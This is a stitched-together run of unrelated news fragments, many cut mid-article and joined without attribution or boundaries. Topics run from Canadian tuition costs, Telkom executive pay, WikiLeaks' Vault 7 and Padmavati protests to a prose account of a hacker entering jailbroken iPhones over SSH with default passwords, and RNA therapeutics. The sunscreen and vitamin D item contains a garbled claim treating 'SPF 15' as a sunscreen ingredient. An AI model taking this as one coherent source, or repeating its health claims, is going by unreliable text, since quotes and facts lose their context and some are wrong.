Hares will complete her bachelor of science degree this month. It took her seven years, and she had to work a full-time job at a hardware chain store on top of taking multiple courses.
She said some days she worked more than 12 hours and was getting migraines from the stress.
“You are always on this treadmill, trying to catch up with what you are doing,” she said. “You have no downtime.”
Hares said her heavy course load and full-time job proved too much for her this year. She quit her job to concentrate on school, a decision that came with financial consequences.
“It makes me anxious to think about it,” she said. “How much do I owe? How will I pay it back?”
Yalnizyan said the data show that when governments decide to do something about education costs, they can make a difference.
“We really do need governments to drive down costs, but to be able to do that they need the federal government at the table too,” she said.
"It would be wonderful to see the provinces work together to develop a national mission to make it easier for students to study."
“Tuition is a always a concern,” said Davidson. “But we have to make sure that we have an education system that’s well- funded, that’s high-quality, and delivers the results that students and their parents expect.”
Davidson points out that the data set doesn’t reflect how many students are accessing financial assistance on offer by the universities and the provincial governments.
“Forty per cent of students get financial assistance from the institution and, in some cases … as much as 60 per cent of the students in the institution get some kind of discount on their tuition,” he said.
Professional degrees see largest jump
Tuition costs for degrees in arts, social sciences and education more than doubled, but the most dramatic increases occur in professional degrees like law, medicine and dentistry.
Dentistry took six times more minimum-wage hours to pay for tuition, while law and medicine required in excess of four times more hours.
That’s a shift ArmineYalnizyan says has not been evident in previous years.
“It wasn’t so hard to become a lawyer or a dentist or a doctor,” said Yalnizyan.
Daniel Fingrut, who graduated with a dentistry degree in 2012, says he had to acquire a student loan to make ends meet. (CBC) Jack Fingrut, a Toronto dentist who graduated in the mid-1970s, said he paid his $5,400 tuition through summer jobs and did not take on any debt.
“It was a lot at the time,” he said. “It seemed quite expensive, but I was able to manage."
He added, “I didn't get help from my parents because my father was older. I just had to do it myself.”
Fingrut's son, Daniel Fingrut, graduated with a dentistry degree in 2012. He said he had to acquire a student loan to make ends meet.
The younger Fingrut said tuition was a small part of what he had to pay. Equipment, clinic fees, and other incidentals can rack up a hefty bill for the degree, he said.
He acquired a $150,000 line of credit from his bank in order to make ends meet.
“Private banks are actually pretty good about giving private lines of credit now for dental students,” he said. “Funding is available — of course, it's borrowed money.”
“Paying it back is a bit more of the problem,” he added.
'People will definitely give it a second thought'
Daniel Fingrut paid back his debt in two years by working at his father’s dental practice, but he said not all students are so lucky and looming debt may dissuade others from entering the profession.
“People will definitely give it a second thought for sure,” he said. “It's potentially a very big challenge to pay it back.”
Back in Winnipeg, Hares said she would like to pursue a veterinary medicine degree post-graduation, but she wonders how she’ll manage the costs.
“Is my dream of going into DVM realistic?” she said. “I don’t know because the finances don’t say they are right now."
“The worst thing that we can have [is] to have young people not pursue post-secondary education because it's too expensive and the debt burden is too significant.” said Francis Fong, a senior economist with the TD Bank Group.
"That’s the opposite of where we want to end up."
Fong said Canada’s economy is dependent on how skilled the labour force is and looming student debt can dissuade students from pursuing higher education.
“Policy should ensure that we contain overall post-secondary education costs to ensure there’s affordability out there," he said.
Yalnizyan said the burden on students is too high.
"We're raising tuitions," she said, "making it harder to find a job in the first place and work enough hours to be able to work hard at becoming the best they can be."
Telkom CEO, Sipho Maseko walked away with a total package of R25.9 million, including a basic salary of R7.44 million, and a bonus of R8.8 million. Maseko also has shares to the value of R9.64 million.
CFO, Deon Fredericks scored R13.5 million, including a basic salary of R5.3 million and a bonus of R4.37 million. Fredericks’ vested shares amounted to R3.86 million.
Former chief operating officer, Brian Armstrong, who stepped down at the end of the financial year, was paid R10.3 million, and chief technology officer, Alphonso Samuels, received R8.95 million.
CEO of consumer, mobile and small business at Telkom, Atila Vitai was paid R11.6 million, while former BCX CEO and current Telkom chief procurement officer, Ian Russel, scored R9.5 million.
In total, Telkom paid R200.8 million to its executive management team (of 47 people) in 2017.
The average executive pay was R4.27 million, up from the average of R4.1 million it paid to 41 executives in 2016.
In May 2016, Telkom reported a 10% increase in revenue to R41 billion for the 2016 financial year, and declared a dividend of 422 cents per share.
The group’s results were boosted by the full consolidation of BCX, and solid growth in its mobile business, it said.
Headline earnings per share (HEPS) grew 12.4%to 731.4 cents, though basic earnings per share (BEPS) declined 1.5% to 749.1 cents. The main difference between HEPS and BEPS is the gain from property sales, the company said.
The key highlights of its results included:
Operating revenue up 9.8% to R41.0 billion
Net revenue up 7.9% to R31.9 billion
EBITDA flat at R10.9 billion with an EBITDA margin of 26.7%
Headline earnings per share (HEPS) increased 12.4% to 731.4 cents
Mobile service revenue up 38.4% to R3.5 billion
Capex increased 43.3% to R8 654 million with capex to revenue of 21.1%
Annual dividend increased 56.3% to 422.0 cents per share
Information technology revenue up 70.5% to R7.55 billion
Data revenue up 5.8% to R12.2 billion
The White House statement claimed there were signs of preparation, offering no evidence that was really the case, then claiming it would kill “innocent children” and threatening retaliation. The statement was made with no discussion with either the State Department or Pentagon, puzzling many top officials as to what they thought they were doing.
Russia criticized the US over the threat, and Syria said they’d never had any intention of carrying out such an attack in the first place, which only adds to the questions about the White House drawing the conclusion that such an attack was coming, and rushing out a content-light statement on it.
Ambassador to the UN Nikki Haley concurred, claiming Trump had “saved many innocent lives” with the statement, though again offering no details.
Either way, Mattis and Haley seem happy enough with the results. Most days go by in Syria with no chemical weapons attacks, of course, but on this rare occasion US officials seem to feel like they can take credit for that fact, despite another idle US threat clearly being wholly unrelated to the result.
EUGENE, Ore. — The school year doesn't officially open at the University of Oregon until Monday, Sept. 28, when more than 20,000 students trudge back onto campus for the first day of the fall quarter. For a select group of the student body, however, classes have already begun.
Every Thursday during the regular season, Oregon players file into meeting rooms and offices inside the football facility for the program's weekly version of the SATs: tests written by student interns, fact-checked by graduate assistants and administered to positional groupings by their respective assistant coach.
"It's clear at the end of that the things we're comfortable with, the things we're not comfortable with, and the two or three things that right now we don't have," said defensive coordinator Don Pellum. "Those are the things we want to try to hit, to try to get those guys to think about."
The tests feature multiple-choice questions, a fill-in-the-blank portion, even, in true SAT fashion, an essay section — all designed to gauge the Ducks' knowledge of their responsibilities and opponent-centered game plan. For coaches, the tests allow one last peek into the team's preparedness, giving the staff time to review areas of potential concern heading into Saturday.
If not unique across college football, the Ducks' use of these tests speak to the program's larger blueprint: Oregon's success is rooted in robotic perfection, in the speed of its mental and physical processes through pattern recognition and muscle memory, and in acting, not reacting, to remain one step quicker than the competition.
"Most of the guys understand the principle, that it's just getting them to do one more mental rep, one more time looking through their playbook," said graduate assistant Nate Costa, who proofs the questions before the tests are administered. "That's all it really is, and that's all it's designed to be."
Defensive players might be given an offensive formation and asked to name the opponent's tendency. Offensive players will be asked to draw their own formations and the potential defensive response; wide receivers, for example, will sketch out their list of route conversions in a specific down-and-distance situation against a potential alignment.
For some positional units — the offensive line, for example — the tests are split into two: one for the veterans that is focused more on the opponent, and another for the younger players, with more attention paid to a basic understanding of the Ducks' frenetic offense. The hardest questions are given to the quarterbacks. When given tests specific to the line, for example, Oregon quarterbacks will "blow through it like it's nothing," said offensive lineman Matt Pierson, who also is one of the Ducks' best test-takers.
"I don't really need to know if you truly know what you're doing, because if you don't know what you're doing, at that point it's too late," Costa said. "It's more to get them to go through a mental walkthrough, to process things one last time. That's why teachers at universities test, to find out the whole study program."
Fittingly, given Oregon's emphasis on speed, tempo and aggressiveness, the tests are given under time constraints and amid noise meant to imitate the on-field mental processes of a given Saturday. In defensive meetings, for example, players might be given 20 seconds to answer three questions — while sirens blare and hands bang on desks so forcefully that pencils bounce.
"When we're playing here, it's not a calm environment to play in or practice in," linebacker Rodney Hardrick said. "So it's not a calm environment to take a test in."
Said Pellum, "We push the tempo on the tests."
Nor are the tests entirely specific to plans, schemes and formations — or even football, really. Linemen may be asked to name the best movie they've seen recently, and why. Wide receivers coach Matt Lubick will ask his charges to name a state capitol. Offensive coordinator Scott Frost has been known to sprinkle into his tests a history question. One recent example: Can you name the last 10 Presidents?
Tests for the defense always include questions "geared more toward the man, the person, not just football," Pellum said. One question may ask players to name a teammate's hometown to show how much they know about each other. Another may ask for the name of a player's new girlfriend. Test-takers may be asked to comment on a saying or proverb.
"If you keep it kind of light and quick, they don't have to think about them a ton, and on the football field you think too much, you're dead," Costa said.
A similar mentality is in place at practice, where coaches won't stop drills to correct mistakes but wait until later, at film study, to point out the error. Because there's no time for even a moment's hesitation in pads, the Ducks do their thinking in advance of game day.
"Those tests kind of show what they know," Lubick said. "That's the purpose of it. It should give you confidence; if you ace that test, you know what you're doing, go play fast."
There are a number of reasons why a person might want to jailbreak their iPhone. This list includes data tethering, using it on another carrier and running unauthorized apps. Of course if you aren’t careful, you could leave your device vulnerable to a rather simple attack. Recently a number of people discovered a rather troubling message on their jailbroken phones, informing them that they had indeed been hacked.
The message, seen to the right, was left on a number of people’s phones with a link to the hacker’s website. Originally the hacker was asking for €5 in exchange for a fix, though he has now simply posted the fix on his site. So how did he pull it off? It’s simple really.
He used port scanning on the T-Mobile network (in the Netherlands) to find iPhones running SSH. This is something generally necessary when jailbreaking an iPhone. Armed with the knowledge that many people don’t bother changing the default password, he was able to gain access to a number of phones. He then changed the wallpaper to make it look as though there was an SMS alert being displayed.
It’s good that the hacker changed his tune and made the fix available for free. It does bring up a very, very valuable point. Regardless of what we’re talking about, be it desktop, phone or server; change the root password!
Speaking in a livestream Thursday, Assange said the leaked information originated from an isolated computer, separated from others in the network, at CIA headquarters in Virginia, describing the loss of the information as an “historic act of devastating incompetence.”
READ MORE: WikiLeaks publishes 'entire hacking capacity of the CIA'
Raising questions over whether the loss of the information was known to former US President Barack Obama or current president Donald Trump before being revealed by WikiLeaks, Assange also questioned if the loss had been shared with companies such as Apple and Google, which were made vulnerable by it.
“Potentially billions of dollars of damage” has been done by the CIA to tech companies, Assange said, adding trust has been damaged by the revelations, in both the US government and US exports. He later added that some of the fixes to devices exposed as vulnerable by the leak would be quickly fixed but others, including smart TVs, would be more difficult and take longer to fix.
READ MORE: WikiLeaks says just 1% of #Vault7 covert documents released so far
“WikiLeaks has a lot more information,” Assange said, adding that “we have decided to work with them, to give them some exclusive access to some of the technical details we have, so that fixes can be pushed out.''
“Once this material is effectively disarmed we will publish additional details about what has been occurring,” Assange added.
Answering a question that he admitted came from himself, Assange said WikiLeaks “fights for the rights of publishers, sources and media accuracy” and that the cyber weapon details being published were used to investigate journalists. “We want to secure communications technology because without communications technology journalists cannot hold the state to account."
CNN asked whether it was legal for the CIA to do this, per US law, provided the hacking techniques are used overseas. In response, Assange referenced the CIA’s history of “behaving badly” inside the US as well.
“It is an unusual time in the United States to see an intelligence agency so heavily involved in domestic politics,” Assange said, when asked if the CIA was experiencing turmoil within its ranks.
When questioned about redactions, Assange said 78,000 pieces of information were withheld, consisting of IP addresses of both target and attack machines. The IPs will be investigated and identified before the redaction is removed.
Assange said further material to be released would be recent but would not identify a time from which it came. He said WikiLeaks have more material on the “throwing off” mechanism used by the hacks to cover their traces. Tuesday’s leak revealed details of the CIA’s ability to hide its own hacking fingerprint and attribute it to others.
When asked about Donald Trump’s accusations that he was hacked, Assange said “this material does not comment on whether this was done to President Trump” but warned that Trump’s communications were vulnerable to being monitored if done on smartphones, as exemplified by the revelations from ‘Vault 7.’
Assange said ‘Vault 7’ contained too much work for WikiLeaks to do on its own. He said the latest leak has a number of exploits of code that it needs to disarm before it can be published, rendering it useless to “cyber mafia.” He did not give details on when it would be published.
RT submitted some questions to WikiLeaks on Twitter ahead of the press conference:
.@wikileaks@JulianAssange Why have you chosen to release this information at this time? #askwl — RT UK (@RTUKnews) March 9, 2017
.@wikileaks@JulianAssange How do you plan to roll out the rest of the information? #askwl — RT UK (@RTUKnews) March 9, 2017
Chittorgarh: Shots were fired at the protest site of the fringe outfit Rajput Karni Sena, who has staged a sit-in at Chittorgarh fort in Rajasthan in protest of Sanjay Leela Bhansali’s movie Padmavati.
Tourists visiting the fort were requested to go back after the entry to the famous Chittorgarh Fort in Rajasthan was closed on Friday in protest of the movie.
Shocking visuals accessed by Times Now have also shown the Karni Sena supporters hanging effigies of Sanjay Leela Bhansali and Deepika Padukone at the protest site.
As Padmavati row rages, Supreme Court says can't curb filmmakers, writers' freedom of speech
Rajput outfits in Rajasthan have been voicing protests against Padmavati, even going to the extent of issuing threats to actor Deepika Padukone who essays the role of Rani Padmavati in the movie. The Rajput Karni Sena, a fringe outfit in Rajasthan, has threatened to ‘cut off Deepika’s nose’ and ‘behead Bhansali’ if the movie is released.
The protestors demand that the movie, based on the life of Rani Padmini or Padmavati, who was queen of Chittorgarh, should not be released.
"It is for the first time since Independence that the entry to the fort has been blocked," claimed another member of the committee.
There is heavy police presence to deal with any untoward incident. Barricades have been put up outside the fort.
Earlier this week in an interview to IANS, Deepika said: "The only people we are answerable to is the censor board, and I know and I believe that nothing can stop the release of this film."
A Brahmin group also conducted a signature campaign in blood demanding a ban on the film.
Even the Khawaja Moinuddin Chishti Dargah in Ajmer has issued a statement requesting a ban.
Padmavati row: UP govt writes to centre, expresses concern over law and order in state
Activists of the Karni Sena had on Tuesday vandalised a theatre in Kota, Rajasthan, over reports that it was showing a trailer of "Padmavati".
In January, activists of the Karni Sena had manhandled with the crew of "Padmavati" in Jaipur, claiming that Bhansali was "distorting" historical facts in the movie.
They had also damaged some cameras and other equipment. Bhansali had to stop shooting.
Padmavati: Karni Sena calls for nationwide bandh on December 1
"They are trying to defame queen Padmavati by distorting historical facts. It is not acceptable," an activist of the Karni Sena said.
In March, some miscreants broke the mirrors at the Padmini Mahal in Chittorgarh Fort where Alauddin Khilji is alleged to have seen Rani Padmavati or Padmini's reflection.
The Karni Sena claims the mirror story was invented years later.
“I have a much broader base to build a winning coalition on,” she said in the interview, citing an article by The Associated Press. It “found how Senator Obama’s support among working, hard-working Americans, white Americans, is weakening again, and how whites in both states who had not completed college were supporting me.” “There’s a pattern emerging here,” she said.
While she said her remarks weren’t meant to be divisive, they’re already whipping around the Internet. “These are the people you have to win if you’re a Democrat in sufficient numbers to actually win the election. Everybody knows that,” she said in the interview. (Hint, hint, message to the superdelegates still undeclared.)
In Indiana alone, six in 10 white voters went for Mrs. Clinton, where she narrowly won the primary.
Bill Burton, a spokesman for the Obama campaign, told the newspaper that Mr. Obama had made inroads in Tuesday’s contests. And he added that her comments “are not true and frankly disappointing.”
On Tuesday night, we mentioned the dustup between two Democratic pundits, Ms. Brazile and Mr. Begala, who engaged in a prime-time debate about the coalitions being built by Mr. Obama or Mrs. Clinton. Mr. Begala, a Clinton supporter, said the party could not win in November with just “eggheads and African-Americans,” that the party could not ignore white middle-class voters. Ms. Brazile, who said she was not “undecided but undeclared” when it came to her choice for a candidate, shot back that Mr. Begala’s notions were dividing the party. (And that she’d chugged down many a beer with Joe and Jane “six-pack” in an effort to woo white voters.)
We’re revisiting their spirited exchange to demonstrate how divided party loyalists are right now.
Enlarge Image screenshot by Chris Matyszczyk/CNET
I don't know whether you've heard, but there's no need to vote.
The election is apparently going to rigged.
At least that's what Republican candidate Donald Trump intimated on the campaign trail this week.
It's unclear what evidence Trump has for this worrying assertion. What is clearer is that he's doing something about it.
He's using the open and connected power of the web to hire so-called election observers. Well, when I say "hire," I of course mean "recruit as volunteers." It's not as if the property mogul became rich by just giving money away.
A new web page on his site therefore pleads: "Volunteer to be a Trump Election Observer."
Accompanied by a fetching picture of Trump looking to the right, while his veep candidate Mike Pence looks the other way, the page begins: "Help Me Stop Crooked Hillary From Rigging This Election!"
I haven't yet found actual evidence that any such thing is happening or going to happen.
Neither the Trump campaign nor the Clinton campaign immediately responded to a request for enlightenment.
Perhaps, though, in this election, ancient concepts such as facts and evidence have taken on something of a secondary role.
Trump's website isn't effusive about what the election observers will be empowered to do. Many states have actual laws that prevent voter intimidation, which includes campaigning near polling places.
It might, therefore, be difficult for these observers to do much observing.
A better avenue might have been asking the United Nations to step in. After all, the UN says that since 1991 more than 100 countries have asked it to assist in observing the fairness of elections.
But could Trump trust the UN? After all, he very much believes in the concept of America First.
The Republican candidate did, though, offer an inkling of how strongly he feels about all this. On Friday, he declared that only cheating can prevent him from winning Pennsylvania.
"We have to call up law enforcement and we have to have the sheriffs and the police chiefs and everybody watching," the Hill reported him as saying.
Tonight's top stories: •How did these kids get in to the station?
•What are their motives?
•When will they leave? https://t.co/D3UvmiY6EX pic.twitter.com/9DGZwqiPq9 — Joshua Rush (@JoshuaRush) April 11, 2017
They might not be the healthiest, but Kolaches and @whataburger are my Texas guilty pleasures! https://t.co/ijJ0O3Dfk2 pic.twitter.com/8mSllFCKjd — Joshua Rush (@JoshuaRush) April 12, 2017
EMBED >More News Videos Top 13 movies shot in Houston
But in Britain, wearing the symbol has gone to a whole new level.
Almost without exception, TV presenters are obliged to wear poppies for at least a full fortnight before November 11, and celebrities have even worn so-called designer poppies.
It's prompted at least one high-profile newsman to call it poppy fascism.
Here's our Europe correspondent Mary Gearin.
ANNOUNCER: I can now officially declare the poppy appeal open.
(Cheers, band starts performing)
MARY GEARIN: It's October 24 and a concert at Trafalgar Square launches the annual poppy appeal.
And in Britain, it's a big deal.
Forty-five million paper flowers will go on sale, with the aim this year of raising more than $64 million for British service personnel and their families.
And from this moment on, everyone in the country is under subtle and not-so-subtle pressure to buy and wear the floral emblem every day until Remembrance Day, as singer Pixie Lott explains:
PIXIE LOTT: There is people out there fighting for us now, the younger generation, and I think we should wear the poppies to say thank you to them for the sacrifice that they make for our country.
MARY GEARIN: No-one questions the purpose or value of the poppy appeal.
But what some in Britain are finding hard to accept is the increasing pressure to display one's poppy.
In fact, it's seen as tantamount to treason not to wear one.
Presenters and contestants on the UK's version of 'X Factor' have worn crystal-studded poppies.
One celebrity judge even fashioned her poppy into a hair clip.
British TV journalists reported from Hurricane Sandy in the US, pelted with rain and straining against the wind, with paper poppies still bravely clinging to their anoraks.
The most famous figure to buck this trend is Channel Four's veteran newsman Jon Snow.
Despite being one of the nation's most respected journalists, he's pilloried on an annual basis for his refusal to wear the emblem on air.
I spoke to him as he was in the US reporting on the election, his lapel proudly poppy-free.
JON SNOW: No I haven't been wearing a poppy, no I haven't.
MARY GEARIN: And why is that?
JON SNOW: Well, I mean I firstly don't really believe in wearing any sort of emblems on air.
I'm not even sure I'd wear a black tie in the event of death, I've never worn one of those either, except possibly at my own death, I suppose I might wear it, but that would be in the coffin.
I haven't worn a poppy and I don't really believe it's necessary to do so.
I think they died that we might be free to determine whether we wanted to wear a poppy and when we wanted to wear a poppy.
MARY GEARIN: You've previously called it a phenomenon of poppy fascism.
What exactly do you think the fascist manifesto is in your opinion?
What do you think are the values associated with it?
JON SNOW: Well I don't mean it in that literal sense, but there is a degree of peer group pressure, there's a sort of mass determination it seems to get everybody to wear one, and I don't like that.
I think people should make up their own minds as to whether they want to wear a poppy or if they want to do anything at all themselves, and that's where I am.
MARY GEARIN: When did all of this start? During your career, when did you feel that this became a little too much?
JON SNOW: Well, I'd say that poppy wearing has boomed during the most recent wars.
So certainly Iraq and Afghanistan, though it had a bit of a spurt during the Falklands War, but more generally I'd say it's happened in the last decade and a bit.
MARY GEARIN: And who are the biggest believers in this? Is it the news presenters, or the producers behind them, who feel they ought to present some sort of statement, or is it celebrities who've pushed this to gain attention, if you like, and approval?
JON SNOW: Well, the state broadcaster, the BBC, I think has a policy of wearing poppies.
Indeed, I'm reliably informed that they have a jar full of poppies in the makeup parlour, so that if by some mischance, they haven't got one, they can stuff one on.
And I think in a way that sort of helps defeat the whole idea of the thing, which is that you should contribute independently towards the charity that benefits from the poppies. And I certainly buy a poppy, and I would wear one privately, but I'm not going to flaunt it on the television screen.
But where did it start? I think it possibly started with MPs.
There is a sudden moment in the middle of October, at least two weeks if not more before Remembrance Sunday, when you suddenly see a spray of poppies across the House of Commons, and you suddenly discover that the entire cabinet is wearing them.
I think this is an odd phenomenon, I think it's very curious that every single person, almost like a sort of gang of lemmings, is going to do exactly the same thing on exactly the same day, which is not even itself the Remembrance Sunday.
MARY GEARIN: Is there any other symbol like this in British public life?
JON SNOW: Not that I know of.
I mean, quite a lot of people choose to wear a breast cancer ribbon, a pink ribbon, or they might wear a gay rights ribbon or something like that, but it's a very personal choice. And I don't think I've ever been aware of absolutely everybody wearing the same thing and being, as it were, compelled to wear one.
I mean, my inbox is absolutely full of people telling me, "Why are you not wearing a poppy?"
There are complaints to the program every night.
MARY GEARIN: I must get your reaction to this - one thing that was notable for me was watching correspondents reporting from Hurricane Sandy with the poppies on their lapels.
What do you think was the decision process there?
JON SNOW: Heaven only knows.
I mean the last thing in my mind, if I was - indeed, I was up at the hurricane, I can't think that I ever even bothered about what I was looking like.
You're looking at other people suffering, and the idea that you'd be worried about whether you'd got a poppy on or not seems to be absolutely nonsensical.
MARY GEARIN: The poppies will soon be put away, but in less than a year they will surely bloom again, as will the annual debate about the meaning of flowers and freedom.
“Police have brought him to Ao Nang Police Station for further questioning,” an informed source said.
The source said the National Anti-Corruption Commission planned the sting operation after receiving a complaint from a land buyer last week. The complainant bought land on Lanta Yai Island for Bt80 million.
“Anusorn has allegedly asked for Bt20 million [in bribes] from the landowner, saying that the money would go to various people to facilitate the issuing of land title deeds for the plots,” the source said.
Sakho, 26, took to social media in the early hours of Saturday to complain about his treatment at the hands of Liverpool manager Jurgen Klopp, whom the France international feels has frozen him out after he refused to leave on loan in the summer. The post was later deleted.
Dugarry, however, believes the former Paris Saint-Germain player should have aired his views to Klopp personally in private, rather than making public his frustration.
"He doesn't need to talk to his fans. He needs to talk to his coach. What is he doing talking to his fans at three in the morning? With emojis and all that," Dugarry told SFR Sport.
"We don't give a s--. We're not at the circus. If you have a problem, go talk to your coach, find a solution, solve the problem. Why does he need to talk to his 'fans?' Ronaldo and Messi have fans, the others... you shouldn't take yourself for what you aren't."
Mamadou Sakho joined Liverpool in 2013.
Sakho signed a new long-term deal at Anfield last season and was initially part of Klopp's first-choice XI, only for a knee injury to rule him out for two months before he was temporarily suspended in April following an alleged anti-doping violation.
Though he was later cleared, it was a significant setback for the defender as it meant he missed Euro 2016.
Sakho then had a disagreement with Klopp during Liverpool's preseason tour of the United States and was sent home early for disciplinary issues. He has not appeared for the club this season.
Former Arsenal and Chelsea player Petit told SFR Sport that Sakho, who joined Liverpool in 2013, had nobody but himself to blame for the situation.
"I don't get the impression Klopp is someone inflexible, that his door is closed," he said. "On the contrary, I get the impression he's very close to his players. He showed that last year with his management, with his coaching. It's a shame. I think it's another outburst from him [Sakho], and it could be fatal."
Our friends and partners at the Environmental Charter High School need your help. If you live in the Los Angeles area and have a used, larger capacity, internal frame backpack that you can donate, you can help inner city youth experience the wilderness – many for the first time!
On Wednesday, Sept. 16, ECHS will take 126 high school juniors in small groups to experience a three-day backpacking trip through the enchanting Los Padres National Forest. The school has been successful securing some gear donations but they are still shy 70 backpacks to outfit the students.
Environmental Charter Schools believes introducing its students to the natural world in a way that inspires meaningful connection with the wilderness is necessary if we are to nurture a generation of environmental stewards. Their backpacking trips promote environmental awareness, interpersonal skills building and group cohesion through team-building activities, landscape exploration, and wilderness expeditions. These outdoor education trips are merely the beginning – many students join weekend hiking trips or trail crew projects with the Pacific Crest Trail Association.
Most of the students are not able to afford the basic equipment required in environmental education. Your pack donation will be used by the school not just for this excursion but for many students and adventures in the years to come.
Pack donations can be made by 8 p.m., Monday, Sept. 14., at the Adventure 16 store in West Los Angeles, 11161 W. Pico Blvd.
Every time when we go out, we make it a point to bring with us our sunscreen to prevent our skin from coming into direct contact with the sunlight. We have been taught since we were little kids that direct sunlight may cause skin cancer and other terrible skin ailments. Our dalliance with the sunscreen is therefore understandable because nobody wants to get cancer. Nobody even wants to have any sort of disease that may leave ugly spots on their skin, leave alone having many health effects. Better safe than sorry, right?
What is Vitamin D?
Vitamin D is often considered more of a hormone than a vitamin because it serves many functions in the body and its deficiency has many effects. It is responsible for bone growth and bone remodeling. Its deficiency makes the bones thin, weak and sometimes misshapen. This could cause rickets in children and osteomalaciain adults. It has other functions in the body as well, such as enhancing cell growth, body immunity and reducing inflammation. It is therefore a very important vitamin in the body. Here is why we need vitamin D.
Vitamin D Deficiency
Research has shown that increased sunscreen use has led to reduced production of Vitamin D in many people’s bodies. The reason for this is that many sunscreens have components such as SPF 15 and oxybenzone that hinder the production of vitamin D by great levels.The research, which was published in the Journal of the American Osteopathic Association, found that approximately one billion people around the world suffer from Vitamin D deficiency. This accounts for 14% of the entire world population, indicating a cause for concern. Researchers found that there are two main causes of Vitamin D deficiency; chronic disease such as type 2 diabetes and inadequate exposure to the sun.
What to Do
What is worse, the only reason Sanford admitted to his infidelity was because it was discovered. So when he says he’s sorry, it seems like he is only sorry because he got caught. Plus there is the issue that as a governor, he shouldn’t just vanish without telling anyone where he is. On top of all that, he used public money for at least one of his visits to his girlfriend. It doesn’t make it any better that he is paying that money back — now that he got caught.
Even so, reading the emails between Sanford and his love, I do feel sorry for him. Love is a powerful thing that makes us stupid. Nobody is immune to it. I refuse to judge him, even though he judged others. Let he who is without sin, cast the first stone.
But I do find it especially annoying that some conservatives are claiming that Republicans are judged more harshly, and are forced “into resignation or disgrace more easily than their equally adulterous Democratic counterparts.” As if they didn’t deserve harsher judgement for their “family values” rhetoric and hypocritical condemnation of others. But George Stephanopoloulos points out that while Republicans Sanford, John Ensign, David Vitter, and Larry Craig stayed in office after sex scandals, Democrats Eliot Spitzer, Jim McCreevey, and Kwame Kilpatrick all resigned (not to mention that Clinton was impeached). How hypocritical is it to be hypocritical about your own hypocrisy?
UPDATE: Just when I thought this couldn’t get any more hypocritical — Rush Limbaugh blames Sanford’s affair on Obama and the Federal government.
The diagnosis: spinal muscular atrophy. The inherited illness, which destroys the motor neurons that control movement, often kills children before they turn two. Cameron’s case was severe enough he’d probably never even have a birthday.
But when he was seven weeks old, Cameron’s parents enrolled him in a clinical trial for an experimental drug. In videos shot two months later, he could move his head and reach for a toy. No child with his condition had ever made such a recovery before.
The drug Cameron received, Spinraza, was approved in the U.S. just before Christmas and may become the first blockbuster in a novel category of drugs called RNA therapeutics, after the genetic messenger molecule from which they are constructed.
Drugs made of RNA have been in development for more than 20 years. But Cameron’s remarkable trajectory is a sign they could be ready to join familiar pharmacy chemicals and biotech proteins as the next great class of drug types, proponents say. Spinraza was developed by Ionis Pharmaceuticals and Biogen.
“Right now, RNA therapeutics—that’s the future of medicine,” says Steven Dowdy of the University of California, San Diego, School of Medicine. Dowdy admits to being a partisan—his lab works on RNA—but says advances in chemistry have finally made this type of drug feasible. “We still have a lot of work to do, but it’s going to be huge,” he says.
Alison Harding and her son Cameron play at home. He was treated in a clinical trial with a novel type of drug made from RNA.
Some investors think so, too. One private company, Moderna Therapeutics, has reportedly managed to raise nearly $2 billion to develop what it calls a “platform” for inventing new RNA treatments. Overall, more than 150 clinical trials under way are using RNA to treat cancer, infection, hormone problems, and neurologic diseases, including Huntington’s disease.
Inside our cells, the genes in our DNA code are translated into copies made of RNA. These copies, in turn, float into the cell body, where they serve as the information template from which proteins are manufactured. Most drugstore pills act directly on proteins. Gene therapy, meanwhile, seeks to replace DNA instructions with new ones.
What drugs like Spinraza seek to do instead is use RNA to block, modify, or add to, the existing RNA messages in a cell. The most serious challenge to this approach, says Dowdy, is that cells evolved billions of years ago to keep RNA from the environment out. Overcoming this "delivery" problem has cost company chemists many years of effort.
While the science of RNA has unfolded since the 1960s to a drumbeat of Nobel Prizes, the advance into real medicine hasn’t been quick. Ionis, then known as Isis Pharmaceuticals, got the first RNA treatment approved in 1998 to counter an eye virus afflicting AIDS patients. But the drug became irrelevant once anti-HIV drug cocktails proved successful.
RNA drugs have also been beset by serious side effects, and several have been pulled from human tests over safety concerns. In October, the biotech company Alnylam had to stop a large study of one drug, Revusiran, after unexplained deaths in volunteers being treated for a hereditary metabolic disease, ATTR amyloidosis.
Alnylam, which works with a technique for blocking RNA messages, has spent about $1.5 billion since being founded in 2002 but is still working toward its first product. In January, in a paper published in the New England Journal of Medicine, it showed that one of its drugs could lower cholesterol levels for six months with one shot.
An image of the junction between the nerve fibers and muscles of a mouse. Ionis
Rachel Meyers, previously a senior executive at Alnylam, says one problem facing RNA drugs is that companies have too often tried to use them to treat diseases where other options exist. Instead, she believes, RNA therapeutics are more likely to find success in situations, like Cameron’s, that can’t easily be treated in any other way. “The dirty secret of RNA therapies is that most people are working on stuff where there is competition and there are other molecules,” she says. “It’s those ones that don’t have a good alternative where you say, ‘Oh my gosh, we can really change the world, or someone’s life, with this.’”
Ionis’s drug, which is being commercialized by its partner, Biogen, works through a mechanism called “antisense.” The drug is a chemically enhanced strand of RNA that, by matching up with a mirror copy present in Cameron’s cells, allows his body to correctly assemble a protein his nerve cells need.
Last year, two drugs that work along these lines were approved in the U.S. The other, Exondys 51, developed by Sarepta Therapeutics, was approved to treat muscular dystrophy after becoming the focus of impassioned lobbying by parents of affected boys, who prevailed on the U.S Food and Drug Administration to allow it on the market despite limited evidence of its benefits.
There are no such questions about the drug Cameron receives. Its effects are “Lazarus-like,” according to one expert, but it is not simple and is not a permanent cure. It’s delivered through a spinal tap once every four months, and Cameron will need it for the rest of his life. The cost of the injections: $375,000 a year.
“This has given us a glimpse into a future that’s really quite profound, at least in serious disorders of the central nervous system,” says Biogen executive vice president Michael Ehlers.
What happens next for Cameron is not clear. Since Spinraza just started being tested in children five years ago, doctors aren’t sure what will occur as Cameron grows older. C. Frank Bennett, senior vice president of research at Ionis, says the company is now studying the results if the drug is given even earlier, just after birth, and before symptoms start. So far, he says, these kids are meeting their developmental milestones by rolling over and crawling on time.
Cameron’s mother, an employee of a bank’s IT department, says her son is still learning to control his muscles well enough to walk. It’s “a ton of work,” she says. "If there’s anything I’ve learned this last three years, it’s that the medication is not going to work by itself. If you do not work the muscles, you will not see progress.” The toddler has a physical therapist, an occupational therapist, a speech therapist, a swim therapist, and a chiropractor in addition to “a lot of doctor’s appointments.”
It's like a dream come true, the environmental scientist told CBC.
Khaldoune moved to Quebec City in 2001 to do his PhD at Université Laval after completing his master's degree in Switzerland.
He worked in various scientific roles both at the university and for the federal government in the ensuing years. He became a citizen in 2005.
